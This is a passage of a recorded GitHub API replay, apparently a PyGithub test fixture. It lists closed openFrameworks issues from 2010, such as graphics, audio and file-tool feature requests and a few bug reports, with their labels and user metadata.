","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":"2011-12-02T19:18:34Z","created_at":"2010-04-06T19:44:55Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":166215,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-17T09:18:48Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/170","comments":2,"milestone":null,"number":170,"html_url":"https://github.com/openframeworks/openFrameworks/issues/170","assignee":null,"title":"opengl hardware test example","labels":[],"closed_at":"2011-10-17T09:18:48Z","created_at":"2010-04-06T19:38:19Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":166206,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-16T00:47:42Z","body":"when creating copying textures the actual texture in the graphics card is deleted when one of the copies is destroyed. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/169","comments":1,"milestone":null,"number":169,"html_url":"https://github.com/openframeworks/openFrameworks/issues/169","assignee":null,"title":"copy constructor for textures","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-01-16T00:47:42Z","created_at":"2010-04-06T15:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":166053,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-09-10T09:23:08Z","body":" is included by default, which is helpful for doing C++ style string creation.\n\nC++ style file i/o would be nice too.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/168","comments":0,"milestone":null,"number":168,"html_url":"https://github.com/openframeworks/openFrameworks/issues/168","assignee":null,"title":" included by default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-09-10T09:23:08Z","created_at":"2010-04-06T14:41:49Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":166005,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-04-26T20:25:38Z","body":"you need to add if(dir != NULL) closedir(dir); after the while loop (line 142)\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=7&t=2055","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/166","comments":2,"milestone":null,"number":166,"html_url":"https://github.com/openframeworks/openFrameworks/issues/166","assignee":null,"title":"ofxDirList maxes out","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-04-26T20:25:38Z","created_at":"2010-04-06T12:09:43Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":165893,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-16T00:47:20Z","body":"1) load and save raw bytes\r\n2) file move, rename, delete ( theo - I have this code ) \r\n3) file dialogs? ofxFileDialog? ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/165","comments":4,"milestone":null,"number":165,"html_url":"https://github.com/openframeworks/openFrameworks/issues/165","assignee":null,"title":"file tools","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-01-16T00:47:20Z","created_at":"2010-04-06T12:08:53Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":165891,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-16T00:05:15Z","body":"at very least maybe then a file downloader - finally use that Poco?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/164","comments":4,"milestone":null,"number":164,"html_url":"https://github.com/openframeworks/openFrameworks/issues/164","assignee":null,"title":"load file from web for ofimage / xml ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-01-16T00:05:15Z","created_at":"2010-04-06T12:07:34Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":165889,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-04-26T20:27:25Z","body":"ofxDirList fix:\r\n\r\nyou need to add if(dir != NULL) closedir(dir); after the while loop (line 142)\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=7&t=2055","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/163","comments":1,"milestone":null,"number":163,"html_url":"https://github.com/openframeworks/openFrameworks/issues/163","assignee":null,"title":"ofxDirList max reads","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-04-26T20:27:25Z","created_at":"2010-04-05T22:03:42Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":149997},"id":165549,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-11-06T15:11:12Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/162","comments":1,"milestone":null,"number":162,"html_url":"https://github.com/openframeworks/openFrameworks/issues/162","assignee":null,"title":"all color functions to take ofColor arguments","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-11-06T15:11:12Z","created_at":"2010-04-05T21:44:38Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":165541,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-19T08:05:08Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=3444&hilit=ofxSoundStream\r\n\r\nthis will allow to use several devices at the same time. although it can just stay as an addon and just add some function to select which device you want to use. right now you need to change the core code to select a different device than the default one","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/161","comments":1,"milestone":null,"number":161,"html_url":"https://github.com/openframeworks/openFrameworks/issues/161","assignee":null,"title":"make ofSoundStream a class","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-03-19T08:05:08Z","created_at":"2010-04-05T21:43:14Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":165539,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=33&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4963'), ('content-length', '30206'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"d7beb767269c6f25493ac5a42cfb2f67"'), ('date', 'Tue, 29 May 2012 18:46:55 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-03-13T19:43:17Z","body":"this can be a different version of the functions, and be used by the opengl ones. can help to abstract the opengl calls for the swappable renderer. also useful with ofShape or ofVertexes and more performance than calculating the vertexes each update","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/159","comments":1,"milestone":null,"number":159,"html_url":"https://github.com/openframeworks/openFrameworks/issues/159","assignee":null,"title":"have primitive drawing functions in ofGraphics return the vertexes?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-03-13T19:43:17Z","created_at":"2010-04-05T21:36:34Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":165536,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-09T01:06:30Z","body":"This would mean dropping support for 10.4 users. \r\nIs the future though!\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=19222#p19222","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/158","comments":3,"milestone":null,"number":158,"html_url":"https://github.com/openframeworks/openFrameworks/issues/158","assignee":null,"title":"QTKit -> replace Quicktime ? ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-01-09T01:06:30Z","created_at":"2010-04-05T19:10:02Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165429,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-16T03:58:25Z","body":"being able to have multiple classes receive the callback for a sound output and mix into the buffer instead of replacing it. ( ie more how an OS audio system works ) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/157","comments":2,"milestone":null,"number":157,"html_url":"https://github.com/openframeworks/openFrameworks/issues/157","assignee":null,"title":"audio output mixer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-01-16T03:58:25Z","created_at":"2010-04-05T18:57:42Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165421,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-11-09T23:06:12Z","body":"a la ofxVideoGrabber","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/156","comments":1,"milestone":null,"number":156,"html_url":"https://github.com/openframeworks/openFrameworks/issues/156","assignee":null,"title":"swappable video grabber?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-11-09T23:06:12Z","created_at":"2010-04-05T18:56:00Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165418,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-13T19:42:04Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/155","comments":0,"milestone":null,"number":155,"html_url":"https://github.com/openframeworks/openFrameworks/issues/155","assignee":null,"title":"swappable sound api?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-03-13T19:42:04Z","created_at":"2010-04-05T18:55:48Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165417,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-11-09T23:06:12Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/154","comments":1,"milestone":null,"number":154,"html_url":"https://github.com/openframeworks/openFrameworks/issues/154","assignee":null,"title":"swappable video player?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-11-09T23:06:12Z","created_at":"2010-04-05T18:55:36Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165415,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:42:12Z","body":"Theo: I have this code to a certain extent\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/152","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":152,"html_url":"https://github.com/openframeworks/openFrameworks/issues/152","assignee":null,"title":"depth testing / sorting for png textures ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":"2011-12-02T19:42:12Z","created_at":"2010-04-05T18:48:23Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165408,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-27T13:10:11Z","body":"http://users.design.ucla.edu/~acolubri/processing/glgraphics/home/\r\nport?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/151","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":151,"html_url":"https://github.com/openframeworks/openFrameworks/issues/151","assignee":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"title":"look at GLGraphics","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2012-02-27T13:10:11Z","created_at":"2010-04-05T18:47:37Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165407,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-10T15:35:32Z","body":"( from our wish list )\r\n\r\nShaders\r\nVolumetric lighting\r\nGood stuff\r\nping pong\r\nblur and glow\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/150","comments":1,"milestone":null,"number":150,"html_url":"https://github.com/openframeworks/openFrameworks/issues/150","assignee":null,"title":"Shaders in core","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-01-10T15:35:32Z","created_at":"2010-04-05T18:46:27Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165403,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-10T15:35:32Z","body":"make it core, make it dope!\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3143&hilit=fbo&start=15","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/149","comments":5,"milestone":null,"number":149,"html_url":"https://github.com/openframeworks/openFrameworks/issues/149","assignee":null,"title":"ofFBOTexture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-01-10T15:35:32Z","created_at":"2010-04-05T18:45:57Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165402,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-16T00:46:20Z","body":"Collada is dope - but might be too heavy?\r\nThere is OBJ out there that handles textures - ask Keith?\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/148","comments":10,"milestone":null,"number":148,"html_url":"https://github.com/openframeworks/openFrameworks/issues/148","assignee":null,"title":"better 3D model loader","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-01-16T08:46:19Z","created_at":"2010-04-05T18:44:44Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165400,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-13T19:44:31Z","body":"allows for tessellation, caching etc\npossibly auto tex coords based on bounding box?\ntex coords and color arrays\nmake shader friendly!\n\nnotes from:\nhttp://wiki.openframeworks.cc/index.php?title=3D_WishList\n\nofPolygonFace? ie: ofPolygon made up of ofPolygonFace - then you could do stuff like shatter where a polygon brekas up into parts.\nofPolygonVertex (same as above) break a face up into vertexes or a polygon to vertexes directly.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/147","comments":1,"milestone":null,"number":147,"html_url":"https://github.com/openframeworks/openFrameworks/issues/147","assignee":null,"title":"ofShape object","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-03-13T19:44:31Z","created_at":"2010-04-05T18:42:28Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165398,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-10-14T20:45:28Z","body":"ofBeginShape();\r\nofVertexes(myArray); \r\nofEndShape()\r\n\r\ncould be combines with tex cords or color arrays?\r\n\r\nofBeginShape();\r\nofVertexes(myArray); \r\nofTextureCoordinates(myTexArray);\r\nofEndShape()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/146","comments":2,"milestone":null,"number":146,"html_url":"https://github.com/openframeworks/openFrameworks/issues/146","assignee":null,"title":"ofBeginShape / EndShape to take vector?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-01-14T16:09:50Z","created_at":"2010-04-05T18:41:02Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165397,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-11-06T15:11:12Z","body":"ie: ofCircle(myPt, 20); \r\nofLine(my3DPt1, my3DPt2); \r\nofTriangle(pt1, pt2, pt3);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/145","comments":3,"milestone":null,"number":145,"html_url":"https://github.com/openframeworks/openFrameworks/issues/145","assignee":null,"title":"ofRect, ofTriangle etc to take ofPoint arguments ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-11-06T15:11:12Z","created_at":"2010-04-05T18:40:02Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165396,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-11-06T15:11:12Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/144","comments":3,"milestone":null,"number":144,"html_url":"https://github.com/openframeworks/openFrameworks/issues/144","assignee":null,"title":"all ofGraphics to have z = 0 ) argument?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2010-11-06T15:11:12Z","created_at":"2010-04-05T18:38:04Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165394,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-16T00:45:36Z","body":"Multiple lights\r\nDifferent types\r\nPosition\r\nDirection\r\nTweening\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/143","comments":1,"milestone":null,"number":143,"html_url":"https://github.com/openframeworks/openFrameworks/issues/143","assignee":null,"title":"lighting - basic lighting for 3D","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-01-16T00:45:36Z","created_at":"2010-04-05T18:37:40Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165393,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-16T00:44:56Z","body":"should be abstracted along with swappable render - THEO: \"I have most of below from Rise & Fall project\". \n\nCamera:\n\nSet origin\nReset view\nPosition\nLookAt\nTweening\nFOV\nclip plane (near and far)\ndebug grid (like graph paper) shows origin and coordinate system - so you know which way you are facing.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/142","comments":2,"milestone":null,"number":142,"html_url":"https://github.com/openframeworks/openFrameworks/issues/142","assignee":null,"title":"opengl camera control","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-01-16T00:44:56Z","created_at":"2010-04-05T18:35:34Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165391,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-13T19:41:53Z","body":"abstract all opengl calls","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/141","comments":1,"milestone":null,"number":141,"html_url":"https://github.com/openframeworks/openFrameworks/issues/141","assignee":null,"title":"swappable 